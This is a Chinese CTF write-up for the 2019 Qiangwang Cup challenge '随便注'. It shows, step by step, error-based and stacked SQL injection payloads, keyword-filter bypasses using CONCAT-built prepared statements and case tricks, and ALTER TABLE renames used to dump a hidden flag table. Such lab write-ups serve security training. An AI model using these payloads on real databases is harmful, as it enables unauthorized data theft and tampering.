• [强网杯 2019]随便注


    [强网杯 2019]随便注

    判斷題型

    var_dump一個數組,就是sqli沒跑了。

    判斷注入類型

    1' 報錯
    1' and 1 報錯
    1' and 1# 正常回顯
    1' and 0# 不回顯
    

    顯然,查詢語句的關鍵字通過單引號閉合,那麼它的形式應該類似與:

    select * from TABLE where id = '$id';
    

    接着,查看下字段數。

    1' order by 1# 正常回顯
    1' order by 2# 正常回顯
    1' order by 3# 報錯
    

    所以,可以知道字段數爲2。

    構造語句

    聯合查詢

    -1' union select 1111,2222#
    
    報錯:
    return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
    

    發現過濾了select,嘗試大小寫,雙寫,加注釋都無法繞過。

    報錯注入

    -1' and extractvalue(1,concat(0x7e,database()))#
    => error 1105 : XPATH syntax error: '~supersqli'
    
    -1' and extractvalue(1,concat(0x7e,user()))#
    => error 1105 : XPATH syntax error: '~root@localhost'
    
    -1' and extractvalue(1,concat(0x7e,version()))#
    => error 1105 : XPATH syntax error: '~10.3.18-MariaDB'
    

    可以獲得數據庫的一些基本信息,但是沒有select一樣查詢不了別的信息。

    堆疊注入

    1';show databases# 正常回顯
    

    1';show tables from ctftraining;
    

    1';show columns from ctftraining.FLAG_TABLE#
    報錯:
    return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
    
    1';show columns from ctftraining.`FLAG_TABLE`#
    一樣的報錯
    

    沒有用到select呀,怎麼會出現這個報錯??有點懵。

    出現DATABASE.TABLE會自動轉化成select?

    試試,直接查詢當前數據庫好了。

    剛剛測試報錯注入的時候有報錯,默認database在supersqli,看下裏面有什麼。

    1';show tables# 
    =>正常回顯 有兩張表 1919810931114514 和 words
    
    1';show columns from `1919810931114514`# 
    =>NICE!正常回顯
    

    噗 原來flag在這嗎

    不過,不能用select怎麼查看呢?

    看了大佬的WP,有兩種辦法

    • 預編譯
    • 更改表名列名

    預編譯

    concat()出一個'select',然後預編譯這條查詢語句,再執行它。

    set @sql = CONCAT('se','lect * from `1919810931114514`;');
    prepare stmt from @sql;
    EXECUTE stmt;
    

    合在一起就是我們的payload

    payload:-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
    
    =>strstr($inject, "set") && strstr($inject, "prepare")
    

    報錯,檢測到set 和 prepare關鍵字,大佬的wp裏說,strstr()不能區分大小寫,所以直接大寫繞過。

    payload:-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
    

    得到flag。

    更改表名列名

    前面在測試堆疊注入的時候,我們就知道flag存在supersqli的1919810931114514表,但同個數據庫下還有另外一張表words。查看它的字段的話,就會發現這就是我們回顯數據所在的表,它們的結構都是一個id,一個字符串。

    既然不能構造語句select查詢,那就只能利用它原有的查詢語句了。

    通過堆疊注入,對調兩個表的信息,這樣就能把我們想要的信息正常地顯示出來了。

    alter table `words` rename to `bak`;
    alter table `1919810931114514` rename to `words`;
    alter table `words` change `flag` `id` varchar(100); 
    

    合成payload

    1';alter table `words` rename to `bak`;alter table `1919810931114514` rename to `words`;alter table `words` change `flag` `id` varchar(100);#
    

    注入成功後,查看flag

    1' or 1#
    

    參考資料

    OJ:BUU

    WP:

    SQLi:

  • 相关阅读:
    2016年 IT 趋势大预测!
    怎样创建合适的告警处理流程?
    如何解决 Java 安全问题?
    程序员:如何成为一个全栈的工程师?
    安全防护:你是否正在追逐一个不可能实现的目标?
    如何使用 Python 创建一个 NBA 得分图?
    如何对 Android 库进行依赖管理?
    减少 WAF 漏报的 8 种方法 !
    第69节:Java中数据库的多表操作
    第69节:Java中数据库的多表操作
  • 原文地址:https://www.cnblogs.com/rpish/p/12320238.html
Copyright © 2020-2023  润新知